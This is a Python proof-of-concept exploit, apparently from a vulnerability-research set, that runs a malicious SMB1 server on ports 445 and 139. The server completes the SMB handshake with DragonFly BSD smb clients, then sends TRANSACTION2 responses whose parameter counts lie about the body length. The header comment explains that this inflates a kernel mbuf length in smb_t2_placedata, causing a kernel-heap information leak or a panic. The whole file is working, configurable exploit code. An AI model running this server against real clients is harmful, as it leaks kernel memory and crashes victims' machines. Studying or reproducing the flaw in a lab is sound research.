DF-0624 / malicious_smb_server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 | #!/usr/bin/env python3 # DF-0624 malicious SMB1 server. # # Speaks just enough of the DragonFly smb client's SMB1/NetBIOS protocol to # get a victim through NEGOTIATE -> SESSION_SETUP_ANDX -> TREE_CONNECT_ANDX, # then answers every TRANSACTION2 (SMB_COM_TRANSACTION2 = 0x32) with a # crafted response whose ParameterCount/DataCount LIE about how many bytes # the response actually carries. That triggers: # # smb_t2_placedata(): m0 = m_split(mtop, poff); len = <actual>; # m->m_len -= len - count; /* count > len => inflate */ # # which inflates the trailing mbuf's m_len far past its real buffer, producing # an OOB kernel-heap read (info leak) and/or a page-fault panic (DoS). # # The LIE magnitude is configurable (CLAIM_COUNT vs BODY bytes) so we can # demonstrate either a clean leak or a panic. import socket, struct, sys, threading, os, time LOGFD = sys.stderr HOST = "0.0.0.0" # Server-controlled lie: how many ParameterCount bytes we *claim* vs how many # we actually place in the body. count > actual_len is the trigger. CLAIM_PCOUNT = int(os.environ.get("CLAIM_PCOUNT", "0x0200"), 0) # claim 512 BODY_BYTES = int(os.environ.get("BODY_BYTES", "200"), 0) # actual 200 TRIGGER_CMD = 0x32 # SMB_COM_TRANSACTION2 def L(msg): LOGFD.write("[%s] %s\n" % (time.strftime("%H:%M:%S"), msg)); LOGFD.flush() def recvn(s, n): buf = b"" while len(buf) < n: c = s.recv(n - len(buf)) if not c: raise EOFError("peer closed after %d/%d bytes" % (len(buf), n)) buf += c return buf def smb_hdr(cmd, pid, tid, uid, mid, flags=0x80, flags2=0x0001): # 32-byte SMB1 header, DOS-error success (errclass=0) h = b'\xffSMB' h += bytes([cmd]) h += b'\x00\x00\x00\x00' # status: DOS errclass=0 (SUCCESS), serror=0 h += bytes([flags]) # flags (0x80 = response) h += struct.pack('<H', flags2) # flags2 (KNOWS_LONG_NAMES) h += b'\x00' * 12 # PIDHigh(2)+Sig(8)+Reserved(2) h += struct.pack('<H', tid & 0xffff) h += struct.pack('<H', pid & 0xffff) h += struct.pack('<H', uid & 0xffff) h += struct.pack('<H', mid & 0xffff) assert len(h) == 32 return h def nbss(msg_type, payload): # 4-byte big-endian NBSS header: type in top byte, len in low 17 bits n = len(payload) return struct.pack('>I', (msg_type << 24) | (n & 0x1ffff)) + payload def wrap_smb(smb): return nbss(0x00, smb) # NB_SSN_MESSAGE # ---- per-command response builders ---- def resp_negotiate(pid, tid, uid, mid, req_body): # wc=17, NT LM 0.12 (dialect index 7), user-security, NO encrypt, sblen=0 wc = 17 words = b'' words += struct.pack('<H', 7) # DialectIndex = "NT LM 0.12" words += bytes([0x01]) # SecurityMode = SMB_SM_USER (no encrypt, no sig) words += struct.pack('<H', 1) # MaxMpxCount words += struct.pack('<H', 1) # MaxNumberVcs words += struct.pack('<I', 0x1000) # MaxBufferSize (>=4096 avoids Win95 path) words += struct.pack('<I', 0) # MaxRawSize words += struct.pack('<I', 0) # SessionKey words += struct.pack('<I', 0) # Capabilities (no EXT_SECURITY, no UNICODE) words += b'\x00' * 8 # SystemTime words += struct.pack('<h', 0) # ServerTimeZone words += bytes([0]) # EncryptionKeyLength = 0 assert len(words) == wc * 2 body = bytes([wc]) + words + struct.pack('<H', 0) # ByteCount=0 return smb_hdr(0x72, pid, tid, uid, mid) + body def resp_session_setup(pid, tid, uid, mid, req_body): # wc=3: AndXCommand, AndXReserved, AndXOffset, Action ; success wc = 3 words = bytes([0xff]) # AndXCommand = none words += bytes([0x00]) # AndXReserved words += struct.pack('<H', 0) # AndXOffset words += struct.pack('<H', 0) # Action = 0 (not guest) assert len(words) == wc * 2 body = bytes([wc]) + words + struct.pack('<H', 0) return smb_hdr(0x73, pid, tid, uid, mid) + body def resp_tree_connect(pid, tid, uid, mid, req_body): # wc=3: AndX*, OptionalSupport ; success. Return TID=1 in header. wc = 3 words = bytes([0xff, 0x00]) words += struct.pack('<H', 0) # AndXOffset words += struct.pack('<H', 0x0001) # OptionalSupport (SMB_SUPPORT_SEARCH_BITS) assert len(words) == wc * 2 body = bytes([wc]) + words + struct.pack('<H', 0) return smb_hdr(0x75, pid, 1, uid, mid) + body def resp_trans2_lie(pid, tid, uid, mid, req_body): """The bug trigger: TRANS2 response whose ParameterCount (CLAIM_PCOUNT) exceeds the actual body (BODY_BYTES). poff points at the body so smb_t2_placedata splits there, computes len=BODY_BYTES, then does m->m_len -= len - count with count=CLAIM_PCOUNT > len => m_len inflate.""" body = bytes(b'\x41') * BODY_BYTES # the actual payload poff = 32 + 1 + 10*2 + 2 # =57: absolute offset of body bytes wc = 10 words = b'' words += struct.pack('<H', CLAIM_PCOUNT) # TotalParameterCount words += struct.pack('<H', 0) # TotalDataCount words += struct.pack('<H', 0) # Reserved words += struct.pack('<H', CLAIM_PCOUNT) # ParameterCount <-- THE LIE words += struct.pack('<H', poff) # ParameterOffset (abs) words += struct.pack('<H', 0) # ParameterDisplacement words += struct.pack('<H', 0) # DataCount words += struct.pack('<H', 0) # DataOffset words += struct.pack('<H', 0) # DataDisplacement words += bytes([0x00, 0x00]) # SetupCount=0 + Reserved (10th word) assert len(words) == wc * 2 smb = smb_hdr(0x32, pid, tid, uid, mid) + bytes([wc]) + words \ + struct.pack('<H', len(body)) + body L("TRIGGER TRANS2: claiming pcount=%d but body=%d bytes (poff=%d) -> m_len inflation" % (CLAIM_PCOUNT, BODY_BYTES, poff)) return smb def resp_generic_ok(cmd, pid, tid, uid, mid): # minimal success for anything we don't special-case return smb_hdr(cmd, pid, tid, uid, mid) + bytes([0x00]) + struct.pack('<H', 0) def handle_smb(conn, req_smb): if len(req_smb) < 32 or req_smb[:4] != b'\xffSMB': L("ignoring non-SMB msg (%d bytes)" % len(req_smb)); return None cmd = req_smb[4] pid = struct.unpack('<H', req_smb[26:28])[0] tid = struct.unpack('<H', req_smb[24:26])[0] uid = struct.unpack('<H', req_smb[28:30])[0] mid = struct.unpack('<H', req_smb[30:32])[0] body = req_smb[32:] L("RX cmd=0x%02x pid=%d tid=%d uid=%d mid=%d bodylen=%d" % (cmd, pid, tid, uid, mid, len(body))) if cmd == 0x72: # NEGOTIATE return resp_negotiate(pid, tid, uid, mid, body) if cmd == 0x73: # SESSION_SETUP_ANDX return resp_session_setup(pid, tid, uid, mid, body) if cmd == 0x75: # TREE_CONNECT_ANDX return resp_tree_connect(pid, tid, uid, mid, body) if cmd == TRIGGER_CMD: # TRANSACTION2 -> the lie return resp_trans2_lie(pid, tid, uid, mid, body) # default: minimal OK (covers ECHO/CLOSE/etc.) return resp_generic_ok(cmd, pid, tid, uid, mid) def serve_port(port, do_nbss): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, port)); s.listen(5) L("listening on %s:%d (nbss=%s)" % (HOST, port, do_nbss)) while True: conn, addr = s.accept() L("connection from %s:%d" % addr) try: conn.settimeout(15) if do_nbss: # read & answer the NBSS session request (type 0x81 -> 0x82) hdr = recvn(conn, 4) t = hdr[0] if t == 0x81: slen = struct.unpack('>I', b'\x00' + hdr[1:4])[0] _ = recvn(conn, slen) conn.sendall(nbss(0x82, b'')) # POSRESP L("NBSS session established") elif t == 0x85: pass # keepalive else: L("unexpected NBSS type 0x%02x pre-session" % t) while True: hdr = recvn(conn, 4) t = hdr[0] plen = struct.unpack('>I', b'\x00' + hdr[1:4])[0] & 0x1ffff if t == 0x85: # keepalive continue if t != 0x00: # only session messages carry SMB L("NBSS type 0x%02x, len=%d" % (t, plen)) continue req_smb = recvn(conn, plen) resp = handle_smb(conn, req_smb) if resp is None: continue conn.sendall(wrap_smb(resp)) except (EOFError, socket.timeout, ConnectionResetError, BrokenPipeError) as e: L("conn end: %r" % e) except Exception as e: L("conn error: %r" % e) finally: try: conn.close() except Exception: pass L("connection closed") def daemonize(): # classic double-fork, but redirect fds BEFORE forking so the daemon # never inherits the launching shell's stdout/stderr pipe (which would # make the tool harness hang waiting for EOF on that pipe). sys.stdout.flush(); sys.stderr.flush() logf = open("server.log", "ab", buffering=0) nul = os.open("/dev/null", os.O_RDWR) os.dup2(nul, 0) os.dup2(logf.fileno(), 1) os.dup2(logf.fileno(), 2) os.close(nul) if os.fork() != 0: os._exit(0) os.setsid() if os.fork() != 0: os._exit(0) if __name__ == "__main__": if "--bg" in sys.argv: daemonize() # log is now the (possibly inherited) file fd; (re)open for line buffering try: LOGFD = open("server.log", "a", buffering=1) except Exception: LOGFD = sys.stderr L("CLAIM_PCOUNT=%d BODY_BYTES=%d (lie over-read = %d bytes)" % (CLAIM_PCOUNT, BODY_BYTES, CLAIM_PCOUNT - BODY_BYTES)) # 445 = direct-hosted SMB (no NBSS session-request layer) threading.Thread(target=serve_port, args=(445, False), daemon=True).start() # 139 = NetBIOS session service (needs the 0x81/0x82 handshake) threading.Thread(target=serve_port, args=(139, True), daemon=True).start() while True: time.sleep(3600) |